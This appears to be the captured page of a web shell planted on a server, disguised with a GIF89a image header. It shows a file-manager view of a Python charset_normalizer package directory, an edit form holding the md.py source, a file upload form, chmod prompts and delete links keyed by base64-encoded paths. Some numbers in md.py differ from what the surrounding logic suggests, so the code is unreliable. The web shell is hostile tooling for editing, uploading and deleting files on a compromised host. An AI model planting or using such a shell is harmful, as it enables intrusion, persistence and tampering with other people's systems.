GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>md.py<form method=post action="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg%3D%3D&f=bWQucHk%3D"><input name="f" value="md.py"><textarea name="t">from functools import lru_cache
from logging import getLogger
from typing import List, Optional

from .constant import (
    COMMON_SAFE_ASCII_CHARACTERS,
    TRACE,
    UNICODE_SECONDARY_RANGE_KEYWORD,
)
from .utils import (
    is_accentuated,
    is_ascii,
    is_case_variable,
    is_cjk,
    is_emoticon,
    is_hangul,
    is_hiragana,
    is_katakana,
    is_latin,
    is_punctuation,
    is_separator,
    is_symbol,
    is_thai,
    is_unprintable,
    remove_accent,
    unicode_range,
)


class MessDetectorPlugin:
    &quot;&quot;&quot;
    Base abstract class used for mess detection plugins.
    All detectors MUST extend and implement given methods.
    &quot;&quot;&quot;

    def eligible(self, character: str) -&gt; bool:
        &quot;&quot;&quot;
        Determine if given character should be fed in.
        &quot;&quot;&quot;
        raise NotImplementedError  # pragma: nocover

    def feed(self, character: str) -&gt; None:
        &quot;&quot;&quot;
        The main routine to be executed upon character.
        Insert the logic in witch the text would be considered chaotic.
        &quot;&quot;&quot;
        raise NotImplementedError  # pragma: nocover

    def reset(self) -&gt; None:  # pragma: no cover
        &quot;&quot;&quot;
        Permit to reset the plugin to the initial state.
        &quot;&quot;&quot;
        raise NotImplementedError

    @property
    def ratio(self) -&gt; float:
        &quot;&quot;&quot;
        Compute the chaos ratio based on what your feed() has seen.
        Must NOT be lower than 0.; No restriction gt 0.
        &quot;&quot;&quot;
        raise NotImplementedError  # pragma: nocover


class TooManySymbolOrPunctuationPlugin(MessDetectorPlugin):
    def __init__(self) -&gt; None:
        self._punctuation_count: int = 0
        self._symbol_count: int = 0
        self._character_count: int = 0

        self._last_printable_char: Optional[str] = None
        self._frenzy_symbol_in_word: bool = False

    def eligible(self, character: str) -&gt; bool:
        return character.isprintable()

    def feed(self, character: str) -&gt; None:
        self._character_count += 1

        if (
            character != self._last_printable_char
            and character not in COMMON_SAFE_ASCII_CHARACTERS
        ):
            if is_punctuation(character):
                self._punctuation_count += 1
            elif (
                character.isdigit() is False
                and is_symbol(character)
                and is_emoticon(character) is False
            ):
                self._symbol_count += 2

        self._last_printable_char = character

    def reset(self) -&gt; None:  # pragma: no cover
        self._punctuation_count = 0
        self._character_count = 0
        self._symbol_count = 0

    @property
    def ratio(self) -&gt; float:
        if self._character_count == 0:
            return 0.0

        ratio_of_punctuation: float = (
            self._punctuation_count + self._symbol_count
        ) / self._character_count

        return ratio_of_punctuation if ratio_of_punctuation &gt;= 0.3 else 0.0


class TooManyAccentuatedPlugin(MessDetectorPlugin):
    def __init__(self) -&gt; None:
        self._character_count: int = 0
        self._accentuated_count: int = 0

    def eligible(self, character: str) -&gt; bool:
        return character.isalpha()

    def feed(self, character: str) -&gt; None:
        self._character_count += 1

        if is_accentuated(character):
            self._accentuated_count += 1

    def reset(self) -&gt; None:  # pragma: no cover
        self._character_count = 0
        self._accentuated_count = 0

    @property
    def ratio(self) -&gt; float:
        if self._character_count == 0 or self._character_count &lt; 8:
            return 0.0
        ratio_of_accentuation: float = self._accentuated_count / self._character_count
        return ratio_of_accentuation if ratio_of_accentuation &gt;= 0.35 else 0.0


class UnprintablePlugin(MessDetectorPlugin):
    def __init__(self) -&gt; None:
        self._unprintable_count: int = 0
        self._character_count: int = 0

    def eligible(self, character: str) -&gt; bool:
        return True

    def feed(self, character: str) -&gt; None:
        if is_unprintable(character):
            self._unprintable_count += 1
        self._character_count += 1

    def reset(self) -&gt; None:  # pragma: no cover
        self._unprintable_count = 0

    @property
    def ratio(self) -&gt; float:
        if self._character_count == 0:
            return 0.0

        return (self._unprintable_count * 8) / self._character_count


class SuspiciousDuplicateAccentPlugin(MessDetectorPlugin):
    def __init__(self) -&gt; None:
        self._successive_count: int = 0
        self._character_count: int = 0

        self._last_latin_character: Optional[str] = None

    def eligible(self, character: str) -&gt; bool:
        return character.isalpha() and is_latin(character)

    def feed(self, character: str) -&gt; None:
        self._character_count += 1
        if (
            self._last_latin_character is not None
            and is_accentuated(character)
            and is_accentuated(self._last_latin_character)
        ):
            if character.isupper() and self._last_latin_character.isupper():
                self._successive_count += 1
            # Worse if its the same char duplicated with different accent.
            if remove_accent(character) == remove_accent(self._last_latin_character):
                self._successive_count += 1
        self._last_latin_character = character

    def reset(self) -&gt; None:  # pragma: no cover
        self._successive_count = 0
        self._character_count = 0
        self._last_latin_character = None

    @property
    def ratio(self) -&gt; float:
        if self._character_count == 0:
            return 0.0

        return (self._successive_count * 2) / self._character_count


class SuspiciousRange(MessDetectorPlugin):
    def __init__(self) -&gt; None:
        self._suspicious_successive_range_count: int = 0
        self._character_count: int = 0
        self._last_printable_seen: Optional[str] = None

    def eligible(self, character: str) -&gt; bool:
        return character.isprintable()

    def feed(self, character: str) -&gt; None:
        self._character_count += 1

        if (
            character.isspace()
            or is_punctuation(character)
            or character in COMMON_SAFE_ASCII_CHARACTERS
        ):
            self._last_printable_seen = None
            return

        if self._last_printable_seen is None:
            self._last_printable_seen = character
            return

        unicode_range_a: Optional[str] = unicode_range(self._last_printable_seen)
        unicode_range_b: Optional[str] = unicode_range(character)

        if is_suspiciously_successive_range(unicode_range_a, unicode_range_b):
            self._suspicious_successive_range_count += 1

        self._last_printable_seen = character

    def reset(self) -&gt; None:  # pragma: no cover
        self._character_count = 0
        self._suspicious_successive_range_count = 0
        self._last_printable_seen = None

    @property
    def ratio(self) -&gt; float:
        if self._character_count == 0:
            return 0.0

        ratio_of_suspicious_range_usage: float = (
            self._suspicious_successive_range_count * 2
        ) / self._character_count

        if ratio_of_suspicious_range_usage &lt; 0.1:
            return 0.0

        return ratio_of_suspicious_range_usage


class SuperWeirdWordPlugin(MessDetectorPlugin):
    def __init__(self) -&gt; None:
        self._word_count: int = 0
        self._bad_word_count: int = 0
        self._foreign_long_count: int = 0

        self._is_current_word_bad: bool = False
        self._foreign_long_watch: bool = False

        self._character_count: int = 0
        self._bad_character_count: int = 0

        self._buffer: str = &quot;&quot;
        self._buffer_accent_count: int = 0

    def eligible(self, character: str) -&gt; bool:
        return True

    def feed(self, character: str) -&gt; None:
        if character.isalpha():
            self._buffer += character
            if is_accentuated(character):
                self._buffer_accent_count += 1
            if (
                self._foreign_long_watch is False
                and (is_latin(character) is False or is_accentuated(character))
                and is_cjk(character) is False
                and is_hangul(character) is False
                and is_katakana(character) is False
                and is_hiragana(character) is False
                and is_thai(character) is False
            ):
                self._foreign_long_watch = True
            return
        if not self._buffer:
            return
        if (
            character.isspace() or is_punctuation(character) or is_separator(character)
        ) and self._buffer:
            self._word_count += 1
            buffer_length: int = len(self._buffer)

            self._character_count += buffer_length

            if buffer_length &gt;= 4:
                if self._buffer_accent_count / buffer_length &gt; 0.34:
                    self._is_current_word_bad = True
                # Word/Buffer ending with an upper case accentuated letter are so rare,
                # that we will consider them all as suspicious. Same weight as foreign_long suspicious.
                if is_accentuated(self._buffer[-1]) and self._buffer[-1].isupper():
                    self._foreign_long_count += 1
                    self._is_current_word_bad = True
            if buffer_length &gt;= 24 and self._foreign_long_watch:
                camel_case_dst = [
                    i
                    for c, i in zip(self._buffer, range(0, buffer_length))
                    if c.isupper()
                ]
                probable_camel_cased: bool = False

                if camel_case_dst and (len(camel_case_dst) / buffer_length &lt;= 0.3):
                    probable_camel_cased = True

                if not probable_camel_cased:
                    self._foreign_long_count += 1
                    self._is_current_word_bad = True

            if self._is_current_word_bad:
                self._bad_word_count += 1
                self._bad_character_count += len(self._buffer)
                self._is_current_word_bad = False

            self._foreign_long_watch = False
            self._buffer = &quot;&quot;
            self._buffer_accent_count = 0
        elif (
            character not in {&quot;&lt;&quot;, &quot;&gt;&quot;, &quot;-&quot;, &quot;=&quot;, &quot;~&quot;, &quot;|&quot;, &quot;_&quot;}
            and character.isdigit() is False
            and is_symbol(character)
        ):
            self._is_current_word_bad = True
            self._buffer += character

    def reset(self) -&gt; None:  # pragma: no cover
        self._buffer = &quot;&quot;
        self._is_current_word_bad = False
        self._foreign_long_watch = False
        self._bad_word_count = 0
        self._word_count = 0
        self._character_count = 0
        self._bad_character_count = 0
        self._foreign_long_count = 0

    @property
    def ratio(self) -&gt; float:
        if self._word_count &lt;= 10 and self._foreign_long_count == 0:
            return 0.0

        return self._bad_character_count / self._character_count


class CjkInvalidStopPlugin(MessDetectorPlugin):
    &quot;&quot;&quot;
    GB(Chinese) based encoding often render the stop incorrectly when the content does not fit and
    can be easily detected. Searching for the overuse of '' and ''.
    &quot;&quot;&quot;

    def __init__(self) -&gt; None:
        self._wrong_stop_count: int = 0
        self._cjk_character_count: int = 0

    def eligible(self, character: str) -&gt; bool:
        return True

    def feed(self, character: str) -&gt; None:
        if character in {&quot;&quot;, &quot;&quot;}:
            self._wrong_stop_count += 1
            return
        if is_cjk(character):
            self._cjk_character_count += 1

    def reset(self) -&gt; None:  # pragma: no cover
        self._wrong_stop_count = 0
        self._cjk_character_count = 0

    @property
    def ratio(self) -&gt; float:
        if self._cjk_character_count &lt; 16:
            return 0.0
        return self._wrong_stop_count / self._cjk_character_count


class ArchaicUpperLowerPlugin(MessDetectorPlugin):
    def __init__(self) -&gt; None:
        self._buf: bool = False

        self._character_count_since_last_sep: int = 0

        self._successive_upper_lower_count: int = 0
        self._successive_upper_lower_count_final: int = 0

        self._character_count: int = 0

        self._last_alpha_seen: Optional[str] = None
        self._current_ascii_only: bool = True

    def eligible(self, character: str) -&gt; bool:
        return True

    def feed(self, character: str) -&gt; None:
        is_concerned = character.isalpha() and is_case_variable(character)
        chunk_sep = is_concerned is False

        if chunk_sep and self._character_count_since_last_sep &gt; 0:
            if (
                self._character_count_since_last_sep &lt;= 64
                and character.isdigit() is False
                and self._current_ascii_only is False
            ):
                self._successive_upper_lower_count_final += (
                    self._successive_upper_lower_count
                )

            self._successive_upper_lower_count = 0
            self._character_count_since_last_sep = 0
            self._last_alpha_seen = None
            self._buf = False
            self._character_count += 1
            self._current_ascii_only = True

            return

        if self._current_ascii_only is True and is_ascii(character) is False:
            self._current_ascii_only = False

        if self._last_alpha_seen is not None:
            if (character.isupper() and self._last_alpha_seen.islower()) or (
                character.islower() and self._last_alpha_seen.isupper()
            ):
                if self._buf is True:
                    self._successive_upper_lower_count += 2
                    self._buf = False
                else:
                    self._buf = True
            else:
                self._buf = False

        self._character_count += 1
        self._character_count_since_last_sep += 1
        self._last_alpha_seen = character

    def reset(self) -&gt; None:  # pragma: no cover
        self._character_count = 0
        self._character_count_since_last_sep = 0
        self._successive_upper_lower_count = 0
        self._successive_upper_lower_count_final = 0
        self._last_alpha_seen = None
        self._buf = False
        self._current_ascii_only = True

    @property
    def ratio(self) -&gt; float:
        if self._character_count == 0:
            return 0.0

        return self._successive_upper_lower_count_final / self._character_count


@lru_cache(maxsize=1024)
def is_suspiciously_successive_range(
    unicode_range_a: Optional[str], unicode_range_b: Optional[str]
) -&gt; bool:
    &quot;&quot;&quot;
    Determine if two Unicode range seen next to each other can be considered as suspicious.
    &quot;&quot;&quot;
    if unicode_range_a is None or unicode_range_b is None:
        return True

    if unicode_range_a == unicode_range_b:
        return False

    if &quot;Latin&quot; in unicode_range_a and &quot;Latin&quot; in unicode_range_b:
        return False

    if &quot;Emoticons&quot; in unicode_range_a or &quot;Emoticons&quot; in unicode_range_b:
        return False

    # Latin characters can be accompanied with a combining diacritical mark
    # eg. Vietnamese.
    if (&quot;Latin&quot; in unicode_range_a or &quot;Latin&quot; in unicode_range_b) and (
        &quot;Combining&quot; in unicode_range_a or &quot;Combining&quot; in unicode_range_b
    ):
        return False

    keywords_range_a, keywords_range_b = unicode_range_a.split(
        &quot; &quot;
    ), unicode_range_b.split(&quot; &quot;)

    for el in keywords_range_a:
        if el in UNICODE_SECONDARY_RANGE_KEYWORD:
            continue
        if el in keywords_range_b:
            return False

    # Japanese Exception
    range_a_jp_chars, range_b_jp_chars = (
        unicode_range_a
        in (
            &quot;Hiragana&quot;,
            &quot;Katakana&quot;,
        ),
        unicode_range_b in (&quot;Hiragana&quot;, &quot;Katakana&quot;),
    )
    if (range_a_jp_chars or range_b_jp_chars) and (
        &quot;CJK&quot; in unicode_range_a or &quot;CJK&quot; in unicode_range_b
    ):
        return False
    if range_a_jp_chars and range_b_jp_chars:
        return False

    if &quot;Hangul&quot; in unicode_range_a or &quot;Hangul&quot; in unicode_range_b:
        if &quot;CJK&quot; in unicode_range_a or &quot;CJK&quot; in unicode_range_b:
            return False
        if unicode_range_a == &quot;Basic Latin&quot; or unicode_range_b == &quot;Basic Latin&quot;:
            return False

    # Chinese/Japanese use dedicated range for punctuation and/or separators.
    if (&quot;CJK&quot; in unicode_range_a or &quot;CJK&quot; in unicode_range_b) or (
        unicode_range_a in [&quot;Katakana&quot;, &quot;Hiragana&quot;]
        and unicode_range_b in [&quot;Katakana&quot;, &quot;Hiragana&quot;]
    ):
        if &quot;Punctuation&quot; in unicode_range_a or &quot;Punctuation&quot; in unicode_range_b:
            return False
        if &quot;Forms&quot; in unicode_range_a or &quot;Forms&quot; in unicode_range_b:
            return False

    return True


@lru_cache(maxsize=2048)
def mess_ratio(
    decoded_sequence: str, maximum_threshold: float = 0.2, debug: bool = False
) -&gt; float:
    &quot;&quot;&quot;
    Compute a mess ratio given a decoded bytes sequence. The maximum threshold does stop the computation earlier.
    &quot;&quot;&quot;

    detectors: List[MessDetectorPlugin] = [
        md_class() for md_class in MessDetectorPlugin.__subclasses__()
    ]

    length: int = len(decoded_sequence) + 1

    mean_mess_ratio: float = 0.0

    if length &lt; 512:
        intermediary_mean_mess_ratio_calc: int = 32
    elif length &lt;= 1024:
        intermediary_mean_mess_ratio_calc = 64
    else:
        intermediary_mean_mess_ratio_calc = 128

    for character, index in zip(decoded_sequence + &quot;\n&quot;, range(length)):
        for detector in detectors:
            if detector.eligible(character):
                detector.feed(character)

        if (
            index &gt; 0 and index % intermediary_mean_mess_ratio_calc == 0
        ) or index == length - 1:
            mean_mess_ratio = sum(dt.ratio for dt in detectors)

            if mean_mess_ratio &gt;= maximum_threshold:
                break

    if debug:
        logger = getLogger(&quot;charset_normalizer&quot;)

        logger.log(
            TRACE,
            &quot;Mess-detector extended-analysis start. &quot;
            f&quot;intermediary_mean_mess_ratio_calc={intermediary_mean_mess_ratio_calc} mean_mess_ratio={mean_mess_ratio} &quot;
            f&quot;maximum_threshold={maximum_threshold}&quot;,
        )

        if len(decoded_sequence) &gt; 16:
            logger.log(TRACE, f&quot;Starting with: {decoded_sequence[:16]}&quot;)
            logger.log(TRACE, f&quot;Ending with: {decoded_sequence[-16::]}&quot;)

        for dt in detectors:  # pragma: nocover
            logger.log(TRACE, f&quot;{dt.__class__}: {dt.ratio}&quot;)

    return round(mean_mess_ratio, 3)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/saltstack/salt/lib/python3.10/site-packages/charset_normalizer<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2Vz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>1577</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplci9fX3B5Y2FjaGVfXw=="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=YXBpLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=YXBpLnB5"/>api.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=YXBpLnB5&c=`+btoa(c):0" value="0644"></td><td>21097</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplci9hc3NldHM="/>assets</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=YXNzZXRz&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=Y2QucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=Y2QucHk="/>cd.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=Y2QucHk=&c=`+btoa(c):0" value="0644"></td><td>12554</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplci9jbGk="/>cli</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=Y2xp&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=Y29uc3RhbnQucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=Y29uc3RhbnQucHk="/>constant.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=Y29uc3RhbnQucHk=&c=`+btoa(c):0" value="0644"></td><td>19101</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=bGVnYWN5LnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=bGVnYWN5LnB5"/>legacy.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=bGVnYWN5LnB5&c=`+btoa(c):0" value="0644"></td><td>2071</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=bWQucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=bWQucHk="/>md.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=bWQucHk=&c=`+btoa(c):0" value="0644"></td><td>18682</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=bW9kZWxzLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=bW9kZWxzLnB5"/>models.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=bW9kZWxzLnB5&c=`+btoa(c):0" value="0644"></td><td>11492</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=cHkudHlwZWQ=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=cHkudHlwZWQ="/>py.typed</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=cHkudHlwZWQ=&c=`+btoa(c):0" value="0644"></td><td>0</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=dXRpbHMucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=dXRpbHMucHk="/>utils.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=dXRpbHMucHk=&c=`+btoa(c):0" value="0644"></td><td>11578</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&x=dmVyc2lvbi5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=dmVyc2lvbi5weQ=="/>version.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL2NoYXJzZXRfbm9ybWFsaXplcg==&f=dmVyc2lvbi5weQ==&c=`+btoa(c):0" value="0644"></td><td>79</td></tr></table>